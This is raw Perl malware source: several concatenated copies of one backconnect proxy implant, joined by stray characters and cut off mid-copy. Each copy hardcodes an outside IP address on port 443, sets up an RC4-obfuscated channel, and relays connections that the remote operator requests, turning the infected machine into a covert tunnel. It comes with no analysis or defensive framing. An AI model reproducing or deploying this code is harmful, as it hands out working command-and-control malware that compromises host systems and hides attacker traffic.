$remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.186'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.185'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.184'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.183'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 